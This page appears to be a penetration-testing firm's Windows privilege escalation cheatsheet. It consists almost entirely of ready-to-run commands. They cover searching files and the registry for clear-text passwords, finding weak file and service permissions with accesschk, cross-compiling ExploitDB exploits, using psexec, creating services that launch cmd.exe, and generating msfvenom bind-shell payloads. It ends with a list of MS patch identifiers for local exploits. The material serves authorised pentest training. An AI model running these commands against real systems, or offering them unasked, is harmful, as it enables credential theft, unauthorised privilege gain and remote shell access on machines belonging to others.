

# Exumbra Operations Group LLC

CALIFORNIA

## Penetration Testing 102 - Windows Privilege Escalation Cheatsheet

OS and service pack

- `systeminfo | findstr /B /C:"OS Name" /C:"OS Version"`
- `ver`

System name

- `hostname`

Who are you?

- `whoami`
- `echo %username%`

Finding other users

- `net users`
- `net user username`

Clear-text passwords

- `c:\unattend.txt`
- `c:\sysprep.ini - [Clear Text]`
- `c:\sysprep\sysprep.xml - [Base64]`
- `findstr /si password *.txt | *.xml | *.ini`
- `reg query HKLM /s | findstr /i password > temp.txt`
- `reg query HKCU /s | findstr /i password > temp.txt`
- `reg query HKLM /f password /t REG_SZ /s`
- `reg query HKCU /f password /t REG_SZ /s`

Finding weak directory permissions

- `accesschk.exe /accepteula`
- `accesschk.exe -uwdqs users c:\`
- `accesschk.exe -uwdqs "Authenticated Users" c:\`

Finding weak file permissions

- `accesschk.exe -uwqs users c:\*.*`
- `accesschk.exe -uwqs "Authenticated Users" c:\*.*`
- `cacls "c:\Program Files" /T | findstr Users`

#### Weak Service permissions

- `accesschk.exe -uwcqv *`

#### Cross compile exploits

- `cp /usr/share/exploitdb/platforms/windows/local/<exploit>.c /tmp/`
- `cd /root/.wine/drive_c/MinGW/bin`
- `wine gcc -o woot.exe /tmp/<exploit>.c -l lib`

#### PSEXec

- `psexec.py <user>@<host> <cmd>`
- `psexec.exe \\<host> <cmd>`

#### Services

- `sc create <servicename> binpath= "c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>" DisplayName= <displayname>`
- `sc start <servicename>`

#### Creating bind shells

- `msfvenom -p windows/shell_bind_tcp -f exe -o <Filename.exe> LPORT=<BindPort>`
- `msfvenom -p windows/shell_bind_tcp -f dll -o <Filename.dll> LPORT=<BindPort>`

## Privilege Escalation Exploits by Patch

- *MS10-015*
- *MS10-059*
- *MS10-092*
- *MS11-080*
- *MS13-005*
- *CVE-2013-3660*
- *MS13-053*
- *MS13-081*
- *MS14-058*
- *MS14-068*
- *MS14-070*
- *MS15-001*
- *MS15-051*
- *MS15-052*

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